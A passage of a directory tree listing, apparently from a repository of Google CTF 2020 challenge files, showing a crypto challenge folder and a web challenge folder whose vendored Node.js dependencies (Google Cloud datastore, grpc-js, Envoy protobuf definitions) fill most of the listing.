├── .gitignore ├── LICENSE ├── README.md ├── docs ├── CTF │ ├── Google CTF 2020 │ │ ├── crypto │ │ │ └── CHUNK NORRIS │ │ │ │ ├── 40fcf7065a35550f95fde5b8b0552358af938a72b52c1ea5b4b9c40ace348ba9f0bef835c807f396b2942633e090a4ddc805689f781e81473fb547f197d58a3d.zip │ │ │ │ └── 40fcf7065a35550f95fde5b8b0552358af938a72b52c1ea5b4b9c40ace348ba9f0bef835c807f396b2942633e090a4ddc805689f781e81473fb547f197d58a3d │ │ │ │ ├── challenge.py │ │ │ │ └── output.txt │ │ └── web │ │ │ └── PASTEURIZE │ │ │ ├── node_modules │ │ │ ├── .bin │ │ │ │ ├── compileProtos │ │ │ │ ├── gp12-pem │ │ │ │ ├── mime │ │ │ │ ├── pbjs │ │ │ │ ├── pbts │ │ │ │ └── semver │ │ │ ├── @google-cloud │ │ │ │ ├── datastore │ │ │ │ │ ├── CHANGELOG.md │ │ │ │ │ ├── LICENSE │ │ │ │ │ ├── README.md │ │ │ │ │ ├── build │ │ │ │ │ │ ├── protos │ │ │ │ │ │ │ ├── app_engine_key.proto │ │ │ │ │ │ │ ├── google │ │ │ │ │ │ │ │ ├── cloud │ │ │ │ │ │ │ │ │ └── common_resources.proto │ │ │ │ │ │ │ │ └── datastore │ │ │ │ │ │ │ │ │ ├── admin │ │ │ │ │ │ │ │ │ └── v1 │ │ │ │ │ │ │ │ │ │ ├── datastore_admin.proto │ │ │ │ │ │ │ │ │ │ └── index.proto │ │ │ │ │ │ │ │ │ └── v1 │ │ │ │ │ │ │ │ │ ├── datastore.proto │ │ │ │ │ │ │ │ │ ├── entity.proto │ │ │ │ │ │ │ │ │ └── query.proto │ │ │ │ │ │ │ ├── protos.d.ts │ │ │ │ │ │ │ ├── protos.js │ │ │ │ │ │ │ └── protos.json │ │ │ │ │ │ └── src │ │ │ │ │ │ │ ├── entity.d.ts │ │ │ │ │ │ │ ├── entity.js │ │ │ │ │ │ │ ├── entity.js.map │ │ │ │ │ │ │ ├── index.d.ts │ │ │ │ │ │ │ ├── index.js │ │ │ │ │ │ │ ├── index.js.map │ │ │ │ │ │ │ ├── query.d.ts │ │ │ │ │ │ │ ├── query.js │ │ │ │ │ │ │ ├── query.js.map │ │ │ │ │ │ │ ├── request.d.ts │ │ │ │ │ │ │ ├── request.js │ │ │ │ │ │ │ ├── request.js.map │ │ │ │ │ │ │ ├── transaction.d.ts │ │ │ │ │ │ │ ├── transaction.js │ │ │ │ │ │ │ ├── transaction.js.map │ │ │ │ │ │ │ └── v1 │ │ │ │ │ │ │ ├── datastore_admin_client.d.ts │ │ │ │ │ │ │ ├── datastore_admin_client.js │ │ │ │ │ │ │ ├── datastore_admin_client.js.map │ │ │ │ │ │ │ ├── datastore_admin_client_config.json │ │ │ │ │ │ │ ├── datastore_client.d.ts │ │ │ │ │ │ │ ├── datastore_client.js │ │ │ │ │ │ │ ├── datastore_client.js.map │ │ │ │ │ │ │ ├── datastore_client_config.json │ │ │ │ │ │ │ ├── index.d.ts │ │ │ │ │ │ │ ├── index.js │ │ │ │ │ │ │ └── index.js.map │ │ │ │ │ └── package.json │ │ │ │ └── promisify │ │ │ │ │ ├── CHANGELOG.md │ │ │ │ │ ├── LICENSE │ │ │ │ │ ├── README.md │ │ │ │ │ ├── build │ │ │ │ │ └── src │ │ │ │ │ │ ├── index.d.ts │ │ │ │ │ │ └── index.js │ │ │ │ │ └── package.json │ │ │ ├── @grpc │ │ │ │ ├── grpc-js │ │ │ │ │ ├── LICENSE │ │ │ │ │ ├── README.md │ │ │ │ │ ├── build │ │ │ │ │ │ └── src │ │ │ │ │ │ │ ├── backoff-timeout.d.ts │ │ │ │ │ │ │ ├── backoff-timeout.js │ │ │ │ │ │ │ ├── backoff-timeout.js.map │ │ │ │ │ │ │ ├── call-credentials-filter.d.ts │ │ │ │ │ │ │ ├── call-credentials-filter.js │ │ │ │ │ │ │ ├── call-credentials-filter.js.map │ │ │ │ │ │ │ ├── call-credentials.d.ts │ │ │ │ │ │ │ ├── call-credentials.js │ │ │ │ │ │ │ ├── call-credentials.js.map │ │ │ │ │ │ │ ├── call-stream.d.ts │ │ │ │ │ │ │ ├── call-stream.js │ │ │ │ │ │ │ ├── call-stream.js.map │ │ │ │ │ │ │ ├── call.d.ts │ │ │ │ │ │ │ ├── call.js │ │ │ │ │ │ │ ├── call.js.map │ │ │ │ │ │ │ ├── channel-credentials.d.ts │ │ │ │ │ │ │ ├── channel-credentials.js │ │ │ │ │ │ │ ├── channel-credentials.js.map │ │ │ │ │ │ │ ├── channel-options.d.ts │ │ │ │ │ │ │ ├── channel-options.js │ │ │ │ │ │ │ ├── channel-options.js.map │ │ │ │ │ │ │ ├── channel.d.ts │ │ │ │ │ │ │ ├── channel.js │ │ │ │ │ │ │ ├── channel.js.map │ │ │ │ │ │ │ ├── client-interceptors.d.ts │ │ │ │ │ │ │ ├── client-interceptors.js │ │ │ │ │ │ │ ├── client-interceptors.js.map │ │ │ │ │ │ │ ├── client.d.ts │ │ │ │ │ │ │ ├── client.js │ │ │ │ │ │ │ ├── client.js.map │ │ │ │ │ │ │ ├── compression-filter.d.ts │ │ │ │ │ │ │ ├── compression-filter.js │ │ │ │ │ │ │ ├── compression-filter.js.map │ │ │ │ │ │ │ ├── constants.d.ts │ │ │ │ │ │ │ ├── constants.js │ │ │ │ │ │ │ ├── constants.js.map │ │ │ │ │ │ │ ├── deadline-filter.d.ts │ │ │ │ │ │ │ ├── deadline-filter.js │ │ │ │ │ │ │ ├── deadline-filter.js.map │ │ │ │ │ │ │ ├── events.d.ts │ │ │ │ │ │ │ ├── events.js │ │ │ │ │ │ │ ├── events.js.map │ │ │ │ │ │ │ ├── filter-stack.d.ts │ │ │ │ │ │ │ ├── filter-stack.js │ │ │ │ │ │ │ ├── filter-stack.js.map │ │ │ │ │ │ │ ├── filter.d.ts │ │ │ │ │ │ │ ├── filter.js │ │ │ │ │ │ │ ├── filter.js.map │ │ │ │ │ │ │ ├── http_proxy.d.ts │ │ │ │ │ │ │ ├── http_proxy.js │ │ │ │ │ │ │ ├── http_proxy.js.map │ │ │ │ │ │ │ ├── index.d.ts │ │ │ │ │ │ │ ├── index.js │ │ │ │ │ │ │ ├── index.js.map │ │ │ │ │ │ │ ├── load-balancer-cds.d.ts │ │ │ │ │ │ │ ├── load-balancer-cds.js │ │ │ │ │ │ │ ├── load-balancer-cds.js.map │ │ │ │ │ │ │ ├── load-balancer-child-handler.d.ts │ │ │ │ │ │ │ ├── load-balancer-child-handler.js │ │ │ │ │ │ │ ├── load-balancer-child-handler.js.map │ │ │ │ │ │ │ ├── load-balancer-eds.d.ts │ │ │ │ │ │ │ ├── load-balancer-eds.js │ │ │ │ │ │ │ ├── load-balancer-eds.js.map │ │ │ │ │ │ │ ├── load-balancer-lrs.d.ts │ │ │ │ │ │ │ ├── load-balancer-lrs.js │ │ │ │ │ │ │ ├── load-balancer-lrs.js.map │ │ │ │ │ │ │ ├── load-balancer-pick-first.d.ts │ │ │ │ │ │ │ ├── load-balancer-pick-first.js │ │ │ │ │ │ │ ├── load-balancer-pick-first.js.map │ │ │ │ │ │ │ ├── load-balancer-priority.d.ts │ │ │ │ │ │ │ ├── load-balancer-priority.js │ │ │ │ │ │ │ ├── load-balancer-priority.js.map │ │ │ │ │ │ │ ├── load-balancer-round-robin.d.ts │ │ │ │ │ │ │ ├── load-balancer-round-robin.js │ │ │ │ │ │ │ ├── load-balancer-round-robin.js.map │ │ │ │ │ │ │ ├── load-balancer-weighted-target.d.ts │ │ │ │ │ │ │ ├── load-balancer-weighted-target.js │ │ │ │ │ │ │ ├── load-balancer-weighted-target.js.map │ │ │ │ │ │ │ ├── load-balancer.d.ts │ │ │ │ │ │ │ ├── load-balancer.js │ │ │ │ │ │ │ ├── load-balancer.js.map │ │ │ │ │ │ │ ├── load-balancing-config.d.ts │ │ │ │ │ │ │ ├── load-balancing-config.js │ │ │ │ │ │ │ ├── load-balancing-config.js.map │ │ │ │ │ │ │ ├── logging.d.ts │ │ │ │ │ │ │ ├── logging.js │ │ │ │ │ │ │ ├── logging.js.map │ │ │ │ │ │ │ ├── make-client.d.ts │ │ │ │ │ │ │ ├── make-client.js │ │ │ │ │ │ │ ├── make-client.js.map │ │ │ │ │ │ │ ├── max-message-size-filter.d.ts │ │ │ │ │ │ │ ├── max-message-size-filter.js │ │ │ │ │ │ │ ├── max-message-size-filter.js.map │ │ │ │ │ │ │ ├── metadata.d.ts │ │ │ │ │ │ │ ├── metadata.js │ │ │ │ │ │ │ ├── metadata.js.map │ │ │ │ │ │ │ ├── object-stream.d.ts │ │ │ │ │ │ │ ├── object-stream.js │ │ │ │ │ │ │ ├── object-stream.js.map │ │ │ │ │ │ │ ├── picker.d.ts │ │ │ │ │ │ │ ├── picker.js │ │ │ │ │ │ │ ├── picker.js.map │ │ │ │ │ │ │ ├── resolver-dns.d.ts │ │ │ │ │ │ │ ├── resolver-dns.js │ │ │ │ │ │ │ ├── resolver-dns.js.map │ │ │ │ │ │ │ ├── resolver-uds.d.ts │ │ │ │ │ │ │ ├── resolver-uds.js │ │ │ │ │ │ │ ├── resolver-uds.js.map │ │ │ │ │ │ │ ├── resolver-xds.d.ts │ │ │ │ │ │ │ ├── resolver-xds.js │ │ │ │ │ │ │ ├── resolver-xds.js.map │ │ │ │ │ │ │ ├── resolver.d.ts │ │ │ │ │ │ │ ├── resolver.js │ │ │ │ │ │ │ ├── resolver.js.map │ │ │ │ │ │ │ ├── resolving-load-balancer.d.ts │ │ │ │ │ │ │ ├── resolving-load-balancer.js │ │ │ │ │ │ │ ├── resolving-load-balancer.js.map │ │ │ │ │ │ │ ├── server-call.d.ts │ │ │ │ │ │ │ ├── server-call.js │ │ │ │ │ │ │ ├── server-call.js.map │ │ │ │ │ │ │ ├── server-credentials.d.ts │ │ │ │ │ │ │ ├── server-credentials.js │ │ │ │ │ │ │ ├── server-credentials.js.map │ │ │ │ │ │ │ ├── server.d.ts │ │ │ │ │ │ │ ├── server.js │ │ │ │ │ │ │ ├── server.js.map │ │ │ │ │ │ │ ├── service-config.d.ts │ │ │ │ │ │ │ ├── service-config.js │ │ │ │ │ │ │ ├── service-config.js.map │ │ │ │ │ │ │ ├── status-builder.d.ts │ │ │ │ │ │ │ ├── status-builder.js │ │ │ │ │ │ │ ├── status-builder.js.map │ │ │ │ │ │ │ ├── stream-decoder.d.ts │ │ │ │ │ │ │ ├── stream-decoder.js │ │ │ │ │ │ │ ├── stream-decoder.js.map │ │ │ │ │ │ │ ├── subchannel-pool.d.ts │ │ │ │ │ │ │ ├── subchannel-pool.js │ │ │ │ │ │ │ ├── subchannel-pool.js.map │ │ │ │ │ │ │ ├── subchannel.d.ts │ │ │ │ │ │ │ ├── subchannel.js │ │ │ │ │ │ │ ├── subchannel.js.map │ │ │ │ │ │ │ ├── tls-helpers.d.ts │ │ │ │ │ │ │ ├── tls-helpers.js │ │ │ │ │ │ │ ├── tls-helpers.js.map │ │ │ │ │ │ │ ├── uri-parser.d.ts │ │ │ │ │ │ │ ├── uri-parser.js │ │ │ │ │ │ │ ├── uri-parser.js.map │ │ │ │ │ │ │ ├── xds-bootstrap.d.ts │ │ │ │ │ │ │ ├── xds-bootstrap.js │ │ │ │ │ │ │ ├── xds-bootstrap.js.map │ │ │ │ │ │ │ ├── xds-client.d.ts │ │ │ │ │ │ │ ├── xds-client.js │ │ │ │ │ │ │ └── xds-client.js.map │ │ │ │ │ ├── deps │ │ │ │ │ │ ├── envoy-api │ │ │ │ │ │ │ ├── LICENSE │ │ │ │ │ │ │ ├── README.md │ │ │ │ │ │ │ └── envoy │ │ │ │ │ │ │ │ ├── api │ │ │ │ │ │ │ │ └── v2 │ │ │ │ │ │ │ │ │ ├── README.md │ │ │ │ │ │ │ │ │ ├── auth │ │ │ │ │ │ │ │ │ ├── cert.proto │ │ │ │ │ │ │ │ │ ├── common.proto │ │ │ │ │ │ │ │ │ ├── secret.proto │ │ │ │ │ │ │ │ │ └── tls.proto │ │ │ │ │ │ │ │ │ ├── cds.proto │ │ │ │ │ │ │ │ │ ├── cluster.proto │ │ │ │ │ │ │ │ │ ├── cluster │ │ │ │ │ │ │ │ │ ├── circuit_breaker.proto │ │ │ │ │ │ │ │ │ ├── filter.proto │ │ │ │ │ │ │ │ │ └── outlier_detection.proto │ │ │ │ │ │ │ │ │ ├── core │ │ │ │ │ │ │ │ │ ├── address.proto │ │ │ │ │ │ │ │ │ ├── backoff.proto │ │ │ │ │ │ │ │ │ ├── base.proto │ │ │ │ │ │ │ │ │ ├── config_source.proto │ │ │ │ │ │ │ │ │ ├── event_service_config.proto │ │ │ │ │ │ │ │ │ ├── grpc_method_list.proto │ │ │ │ │ │ │ │ │ ├── grpc_service.proto │ │ │ │ │ │ │ │ │ ├── health_check.proto │ │ │ │ │ │ │ │ │ ├── http_uri.proto │ │ │ │ │ │ │ │ │ ├── protocol.proto │ │ │ │ │ │ │ │ │ └── socket_option.proto │ │ │ │ │ │ │ │ │ ├── discovery.proto │ │ │ │ │ │ │ │ │ ├── eds.proto │ │ │ │ │ │ │ │ │ ├── endpoint.proto │ │ │ │ │ │ │ │ │ ├── endpoint │ │ │ │ │ │ │ │ │ ├── endpoint.proto │ │ │ │ │ │ │ │ │ ├── endpoint_components.proto │ │ │ │ │ │ │ │ │ └── load_report.proto │ │ │ │ │ │ │ │ │ ├── lds.proto │ │ │ │ │ │ │ │ │ ├── listener.proto │ │ │ │ │ │ │ │ │ ├── listener │ │ │ │ │ │ │ │ │ ├── listener.proto │ │ │ │ │ │ │ │ │ ├── listener_components.proto │ │ │ │ │ │ │ │ │ ├── quic_config.proto │ │ │ │ │ │ │ │ │ └── udp_listener_config.proto │ │ │ │ │ │ │ │ │ ├── ratelimit │ │ │ │ │ │ │ │ │ └── ratelimit.proto │ │ │ │ │ │ │ │ │ ├── rds.proto │ │ │ │ │ │ │ │ │ ├── route.proto │ │ │ │ │ │ │ │ │ ├── route │ │ │ │ │ │ │ │ │ ├── route.proto │ │ │ │ │ │ │ │ │ └── route_components.proto │ │ │ │ │ │ │ │ │ ├── scoped_route.proto │ │ │ │ │ │ │ │ │ └── srds.proto │ │ │ │ │ │ │ │ ├── config │ │ │ │ │ │ │ │ ├── README.md │ │ │ │ │ │ │ │ ├── accesslog │ │ │ │ │ │ │ │ │ ├── v2 │ │ │ │ │ │ │ │ │ │ ├── als.proto │ │ │ │ │ │ │ │ │ │ └── file.proto │ │ │ │ │ │ │ │ │ ├── v3 │ │ │ │ │ │ │ │ │ │ └── accesslog.proto │ │ │ │ │ │ │ │ │ └── v4alpha │ │ │ │ │ │ │ │ │ │ └── accesslog.proto │ │ │ │ │ │ │ │ ├── bootstrap │ │ │ │ │ │ │ │ │ ├── v2 │ │ │ │ │ │ │ │ │ │ └── bootstrap.proto │ │ │ │ │ │ │ │ │ ├── v3 │ │ │ │ │ │ │ │ │ │ └── bootstrap.proto │ │ │ │ │ │ │ │ │ └── v4alpha │ │ │ │ │ │ │ │ │ │ └── bootstrap.proto │ │ │ │ │ │ │ │ ├── cluster │ │ │ │ │ │ │ │ │ ├── aggregate │ │ │ │ │ │ │ │ │ │ └── v2alpha │ │ │ │ │ │ │ │ │ │ │ └── cluster.proto │ │ │ │ │ │ │ │ │ ├── dynamic_forward_proxy │ │ │ │ │ │ │ │ │ │ └── v2alpha │ │ │ │ │ │ │ │ │ │ │ └── cluster.proto │ │ │ │ │ │ │ │ │ ├── redis │ │ │ │ │ │ │ │ │ │ └── redis_cluster.proto │ │ │ │ │ │ │ │ │ ├── v3 │ │ │ │ │ │ │ │ │ │ ├── circuit_breaker.proto │ │ │ │ │ │ │ │ │ │ ├── cluster.proto │ │ │ │ │ │ │ │ │ │ ├── filter.proto │ │ │ │ │ │ │ │ │ │ └── outlier_detection.proto │ │ │ │ │ │ │ │ │ └── v4alpha │ │ │ │ │ │ │ │ │ │ ├── circuit_breaker.proto │ │ │ │ │ │ │ │ │ │ ├── cluster.proto │ │ │ │ │ │ │ │ │ │ ├── filter.proto │ │ │ │ │ │ │ │ │ │ └── outlier_detection.proto │ │ │ │ │ │ │ │ ├── common │ │ │ │ │ │ │ │ │ ├── dynamic_forward_proxy │ │ │ │ │ │ │ │ │ │ └── v2alpha │ │ │ │ │ │ │ │ │ │ │ └── dns_cache.proto │ │ │ │ │ │ │ │ │ └── tap │ │ │ │ │ │ │ │ │ │ └── v2alpha │ │ │ │ │ │ │ │ │ │ └── common.proto │ │ │ │ │ │ │ │ ├── core │ │ │ │ │ │ │ │ │ ├── v3 │ │ │ │ │ │ │ │ │ │ ├── address.proto │ │ │ │ │ │ │ │ │ │ ├── backoff.proto │ │ │ │ │ │ │ │ │ │ ├── base.proto │ │ │ │ │ │ │ │ │ │ ├── config_source.proto │ │ │ │ │ │ │ │ │ │ ├── event_service_config.proto │ │ │ │ │ │ │ │ │ │ ├── extension.proto │ │ │ │ │ │ │ │ │ │ ├── grpc_method_list.proto │ │ │ │ │ │ │ │ │ │ ├── grpc_service.proto │ │ │ │ │ │ │ │ │ │ ├── health_check.proto │ │ │ │ │ │ │ │ │ │ ├── http_uri.proto │ │ │ │ │ │ │ │ │ │ ├── protocol.proto │ │ │ │ │ │ │ │ │ │ ├── proxy_protocol.proto │ │ │ │ │ │ │ │ │ │ ├── socket_option.proto │ │ │ │ │ │ │ │ │ │ └── substitution_format_string.proto │ │ │ │ │ │ │ │ │ └── v4alpha │ │ │ │ │ │ │ │ │ │ ├── address.proto │ │ │ │ │ │ │ │ │ │ ├── backoff.proto │ │ │ │ │ │ │ │ │ │ ├── base.proto │ │ │ │ │ │ │ │ │ │ ├── config_source.proto │ │ │ │ │ │ │ │ │ │ ├── event_service_config.proto │ │ │ │ │ │ │ │ │ │ ├── extension.proto │ │ │ │ │ │ │ │ │ │ ├── grpc_method_list.proto │ │ │ │ │ │ │ │ │ │ ├── grpc_service.proto │ │ │ │ │ │ │ │ │ │ ├── health_check.proto │ │ │ │ │ │ │ │ │ │ ├── http_uri.proto │ │ │ │ │ │ │ │ │ │ ├── protocol.proto │ │ │ │ │ │ │ │ │ │ ├── proxy_protocol.proto │ │ │ │ │ │ │ │ │ │ ├── socket_option.proto │ │ │ │ │ │ │ │ │ │ └── substitution_format_string.proto │ │ │ │ │ │ │ │ ├── endpoint │ │ │ │ │ │ │ │ │ └── v3 │ │ │ │ │ │ │ │ │ │ ├── endpoint.proto │ │ │ │ │ │ │ │ │ │ ├── endpoint_components.proto │ │ │ │ │ │ │ │ │ │ └── load_report.proto │ │ │ │ │ │ │ │ ├── filter │ │ │ │ │ │ │ │ │ ├── README.md │ │ │ │ │ │ │ │ │ ├── accesslog │ │ │ │ │ │ │ │ │ │ └── v2 │ │ │ │ │ │ │ │ │ │ │ └── accesslog.proto │ │ │ │ │ │ │ │ │ ├── dubbo │ │ │ │ │ │ │ │ │ │ └── router │ │ │ │ │ │ │ │ │ │ │ └── v2alpha1 │ │ │ │ │ │ │ │ │ │ │ └── router.proto │ │ │ │ │ │ │ │ │ ├── fault │ │ │ │ │ │ │ │ │ │ └── v2 │ │ │ │ │ │ │ │ │ │ │ └── fault.proto │ │ │ │ │ │ │ │ │ ├── http │ │ │ │ │ │ │ │ │ │ ├── adaptive_concurrency │ │ │ │ │ │ │ │ │ │ │ └── v2alpha │ │ │ │ │ │ │ │ │ │ │ │ └── adaptive_concurrency.proto │ │ │ │ │ │ │ │ │ │ ├── aws_lambda │ │ │ │ │ │ │ │ │ │ │ └── v2alpha │ │ │ │ │ │ │ │ │ │ │ │ └── aws_lambda.proto │ │ │ │ │ │ │ │ │ │ ├── aws_request_signing │ │ │ │ │ │ │ │ │ │ │ └── v2alpha │ │ │ │ │ │ │ │ │ │ │ │ └── aws_request_signing.proto │ │ │ │ │ │ │ │ │ │ ├── buffer │ │ │ │ │ │ │ │ │ │ │ └── v2 │ │ │ │ │ │ │ │ │ │ │ │ └── buffer.proto │ │ │ │ │ │ │ │ │ │ ├── cache │ │ │ │ │ │ │ │ │ │ │ └── v2alpha │ │ │ │ │ │ │ │ │ │ │ │ └── cache.proto │ │ │ │ │ │ │ │ │ │ ├── compressor │ │ │ │ │ │ │ │ │ │ │ └── v2 │ │ │ │ │ │ │ │ │ │ │ │ └── compressor.proto │ │ │ │ │ │ │ │ │ │ ├── cors │ │ │ │ │ │ │ │ │ │ │ └── v2 │ │ │ │ │ │ │ │ │ │ │ │ └── cors.proto │ │ │ │ │ │ │ │ │ │ ├── csrf │ │ │ │ │ │ │ │ │ │ │ └── v2 │ │ │ │ │ │ │ │ │ │ │ │ └── csrf.proto │ │ │ │ │ │ │ │ │ │ ├── dynamic_forward_proxy │ │ │ │ │ │ │ │ │ │ │ └── v2alpha │ │ │ │ │ │ │ │ │ │ │ │ └── dynamic_forward_proxy.proto │ │ │ │ │ │ │ │ │ │ ├── dynamo │ │ │ │ │ │ │ │ │ │ │ └── v2 │ │ │ │ │ │ │ │ │ │ │ │ └── dynamo.proto │ │ │ │ │ │ │ │ │ │ ├── ext_authz │ │ │ │ │ │ │ │ │ │ │ └── v2 │ │ │ │ │ │ │ │ │ │ │ │ └── ext_authz.proto │ │ │ │ │ │ │ │ │ │ ├── fault │ │ │ │ │ │ │ │ │ │ │ └── v2 │ │ │ │ │ │ │ │ │ │ │ │ └── fault.proto │ │ │ │ │ │ │ │ │ │ ├── grpc_http1_bridge │ │ │ │ │ │ │ │ │ │ │ └── v2 │ │ │ │ │ │ │ │ │ │ │ │ └── config.proto │ │ │ │ │ │ │ │ │ │ ├── grpc_http1_reverse_bridge │ │ │ │ │ │ │ │ │ │ │ └── v2alpha1 │ │ │ │ │ │ │ │ │ │ │ │ └── config.proto │ │ │ │ │ │ │ │ │ │ ├── grpc_stats │ │ │ │ │ │ │ │ │ │ │ └── v2alpha │ │ │ │ │ │ │ │ │ │ │ │ └── config.proto │ │ │ │ │ │ │ │ │ │ ├── grpc_web │ │ │ │ │ │ │ │ │ │ │ └── v2 │ │ │ │ │ │ │ │ │ │ │ │ └── grpc_web.proto │ │ │ │ │ │ │ │ │ │ ├── gzip │ │ │ │ │ │ │ │ │ │ │ └── v2 │ │ │ │ │ │ │ │ │ │ │ │ └── gzip.proto │ │ │ │ │ │ │ │ │ │ ├── header_to_metadata │ │ │ │ │ │ │ │ │ │ │ └── v2 │ │ │ │ │ │ │ │ │ │ │ │ └── header_to_metadata.proto │ │ │ │ │ │ │ │ │ │ ├── health_check │ │ │ │ │ │ │ │ │ │ │ └── v2 │ │ │ │ │ │ │ │ │ │ │ │ └── health_check.proto │ │ │ │ │ │ │ │ │ │ ├── ip_tagging │ │ │ │ │ │ │ │ │ │ │ └── v2 │ │ │ │ │ │ │ │ │ │ │ │ └── ip_tagging.proto │ │ │ │ │ │ │ │ │ │ ├── jwt_authn │ │ │ │ │ │ │ │ │ │ │ └── v2alpha │ │ │ │ │ │ │ │ │ │ │ │ ├── README.md │ │ │ │ │ │ │ │ │ │ │ │ └── config.proto │ │ │ │ │ │ │ │ │ │ ├── lua │ │ │ │ │ │ │ │ │ │ │ └── v2 │ │ │ │ │ │ │ │ │ │ │ │ └── lua.proto │ │ │ │ │ │ │ │ │ │ ├── on_demand │ │ │ │ │ │ │ │ │ │ │ └── v2 │ │ │ │ │ │ │ │ │ │ │ │ └── on_demand.proto │ │ │ │ │ │ │ │ │ │ ├── original_src │ │ │ │ │ │ │ │ │ │ │ └── v2alpha1 │ │ │ │ │ │ │ │ │ │ │ │ └── original_src.proto │ │ │ │ │ │ │ │ │ │ ├── rate_limit │ │ │ │ │ │ │ │ │ │ │ └── v2 │ │ │ │ │ │ │ │ │ │ │ │ └── rate_limit.proto │ │ │ │ │ │ │ │ │ │ ├── rbac │ │ │ │ │ │ │ │ │ │ │ └── v2 │ │ │ │ │ │ │ │ │ │ │ │ └── rbac.proto │ │ │ │ │ │ │ │ │ │ ├── router │ │ │ │ │ │ │ │ │ │ │ └── v2 │ │ │ │ │ │ │ │ │ │ │ │ └── router.proto │ │ │ │ │ │ │ │ │ │ ├── squash │ │ │ │ │ │ │ │ │ │ │ └── v2 │ │ │ │ │ │ │ │ │ │ │ │ └── squash.proto │ │ │ │ │ │ │ │ │ │ ├── tap │ │ │ │ │ │ │ │ │ │ │ └── v2alpha │ │ │ │ │ │ │ │ │ │ │ │ └── tap.proto │ │ │ │ │ │ │ │ │ │ └── transcoder │ │ │ │ │ │ │ │ │ │ │ └── v2 │ │ │ │ │ │ │ │ │ │ │ └── transcoder.proto │ │ │ │ │ │ │ │ │ ├── listener │ │ │ │ │ │ │ │ │ │ ├── http_inspector │ │ │ │ │ │ │ │ │ │ │ └── v2 │ │ │ │ │ │ │ │ │ │ │ │ └── http_inspector.proto │ │ │ │ │ │ │ │ │ │ ├── original_dst │ │ │ │ │ │ │ │ │ │ │ └── v2 │ │ │ │ │ │ │ │ │ │ │ │ └── original_dst.proto │ │ │ │ │ │ │ │ │ │ ├── original_src │ │ │ │ │ │ │ │ │ │ │ └── v2alpha1 │ │ │ │ │ │ │ │ │ │ │ │ └── original_src.proto │ │ │ │ │ │ │ │ │ │ ├── proxy_protocol │ │ │ │ │ │ │ │ │ │ │ └── v2 │ │ │ │ │ │ │ │ │ │ │ │ └── proxy_protocol.proto │ │ │ │ │ │ │ │ │ │ └── tls_inspector │ │ │ │ │ │ │ │ │ │ │ └── v2 │ │ │ │ │ │ │ │ │ │ │ └── tls_inspector.proto │ │ │ │ │ │ │ │ │ ├── network │ │ │ │ │ │ │ │ │ │ ├── client_ssl_auth │ │ │ │ │ │ │ │ │ │ │ └── v2 │ │ │ │ │ │ │ │ │ │ │ │ └── client_ssl_auth.proto │ │ │ │ │ │ │ │ │ │ ├── direct_response │ │ │ │ │ │ │ │ │ │ │ └── v2 │ │ │ │ │ │ │ │ │ │ │ │ └── config.proto │ │ │ │ │ │ │ │ │ │ ├── dubbo_proxy │ │ │ │ │ │ │ │ │ │ │ └── v2alpha1 │ │ │ │ │ │ │ │ │ │ │ │ ├── README.md │ │ │ │ │ │ │ │ │ │ │ │ ├── dubbo_proxy.proto │ │ │ │ │ │ │ │ │ │ │ │ └── route.proto │ │ │ │ │ │ │ │ │ │ ├── echo │ │ │ │ │ │ │ │ │ │ │ └── v2 │ │ │ │ │ │ │ │ │ │ │ │ └── echo.proto │ │ │ │ │ │ │ │ │ │ ├── ext_authz │ │ │ │ │ │ │ │ │ │ │ └── v2 │ │ │ │ │ │ │ │ │ │ │ │ └── ext_authz.proto │ │ │ │ │ │ │ │ │ │ ├── http_connection_manager │ │ │ │ │ │ │ │ │ │ │ └── v2 │ │ │ │ │ │ │ │ │ │ │ │ └── http_connection_manager.proto │ │ │ │ │ │ │ │ │ │ ├── kafka_broker │ │ │ │ │ │ │ │ │ │ │ └── v2alpha1 │ │ │ │ │ │ │ │ │ │ │ │ └── kafka_broker.proto │ │ │ │ │ │ │ │ │ │ ├── local_rate_limit │ │ │ │ │ │ │ │ │ │ │ └── v2alpha │ │ │ │ │ │ │ │ │ │ │ │ └── local_rate_limit.proto │ │ │ │ │ │ │ │ │ │ ├── mongo_proxy │ │ │ │ │ │ │ │ │ │ │ └── v2 │ │ │ │ │ │ │ │ │ │ │ │ └── mongo_proxy.proto │ │ │ │ │ │ │ │ │ │ ├── mysql_proxy │ │ │ │ │ │ │ │ │ │ │ └── v1alpha1 │ │ │ │ │ │ │ │ │ │ │ │ └── mysql_proxy.proto │ │ │ │ │ │ │ │ │ │ ├── rate_limit │ │ │ │ │ │ │ │ │ │ │ └── v2 │ │ │ │ │ │ │ │ │ │ │ │ └── rate_limit.proto │ │ │ │ │ │ │ │ │ │ ├── rbac │ │ │ │ │ │ │ │ │ │ │ └── v2 │ │ │ │ │ │ │ │ │ │ │ │ └── rbac.proto │ │ │ │ │ │ │ │ │ │ ├── redis_proxy │ │ │ │ │ │ │ │ │ │ │ └── v2 │ │ │ │ │ │ │ │ │ │ │ │ └── redis_proxy.proto │ │ │ │ │ │ │ │ │ │ ├── sni_cluster │ │ │ │ │ │ │ │ │ │ │ └── v2 │ │ │ │ │ │ │ │ │ │ │ │ └── sni_cluster.proto │ │ │ │ │ │ │ │ │ │ ├── tcp_proxy │ │ │ │ │ │ │ │ │ │ │ └── v2 │ │ │ │ │ │ │ │ │ │ │ │ └── tcp_proxy.proto │ │ │ │ │ │ │ │ │ │ ├── thrift_proxy │ │ │ │ │ │ │ │ │ │ │ └── v2alpha1 │ │ │ │ │ │ │ │ │ │ │ │ ├── README.md │ │ │ │ │ │ │ │ │ │ │ │ ├── route.proto │ │ │ │ │ │ │ │ │ │ │ │ └── thrift_proxy.proto │ │ │ │ │ │ │ │ │ │ └── zookeeper_proxy │ │ │ │ │ │ │ │ │ │ │ └── v1alpha1 │ │ │ │ │ │ │ │ │ │ │ └── zookeeper_proxy.proto │ │ │ │ │ │ │ │ │ ├── thrift │ │ │ │ │ │ │ │ │ │ ├── rate_limit │ │ │ │ │ │ │ │ │ │ │ └── v2alpha1 │ │ │ │ │ │ │ │ │ │ │ │ └── rate_limit.proto │ │ │ │ │ │ │ │ │ │ └── router │ │ │ │ │ │ │ │ │ │ │ └── v2alpha1 │ │ │ │ │ │ │ │ │ │ │ └── router.proto │ │ │ │ │ │ │ │ │ └── udp │ │ │ │ │ │ │ │ │ │ └── udp_proxy │ │ │ │ │ │ │ │ │ │ └── v2alpha │ │ │ │ │ │ │ │ │ │ └── udp_proxy.proto │ │ │ │ │ │ │ │ ├── grpc_credential │ │ │ │ │ │ │ │ │ ├── v2alpha │ │ │ │ │ │ │ │ │ │ ├── aws_iam.proto │ │ │ │ │ │ │ │ │ │ └── file_based_metadata.proto │ │ │ │ │ │ │ │ │ └── v3 